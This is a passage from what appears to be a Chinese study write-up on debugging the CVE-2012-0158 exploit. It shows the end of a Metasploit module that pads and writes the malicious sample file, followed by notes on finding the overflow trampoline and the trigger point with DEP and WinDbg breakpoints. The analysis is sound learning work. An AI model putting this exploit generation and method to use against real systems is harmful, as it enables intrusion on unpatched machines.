content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000"
content << "\n"
content << "}"
content << "}"
content << "}"

print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(content)

end

end

msf exploit脚本编写学习资料
Exploit 编写系列教程第四篇:编写Metasploit exploit
Metasploit Framework下的Exploit应用开发中文手册

总结

本次调试主要是学习了以下几点:
1.使用MetaSploit生成漏洞利用样本
2.开启DEP功能,当执行异常后直接在shellcode首地址断下,再查看堆栈找到栈溢出跳板地址
3.对栈溢出跳板地址下断点,查看断下来的esp下面找到漏洞触发地址

更新
看到两篇寻找漏洞触发点的文章,觉得可行性不错
1.CVE-2012-0158基于exp分析对这块栈下写入内存写入断点,根据断点输出情况来分析(ba w 4 0x12165C “r eip;gc”)
2.CVE-2012-0158(ms12-027)漏洞分析与利用监控那些目标内存地址是在栈地址(即临时函数的变量地址),而拷贝的长度超过一个比较大的值判断为可疑的漏洞操作
3.发现泉哥的书漏洞战争写得很好,直接看书然后跟着调试比较好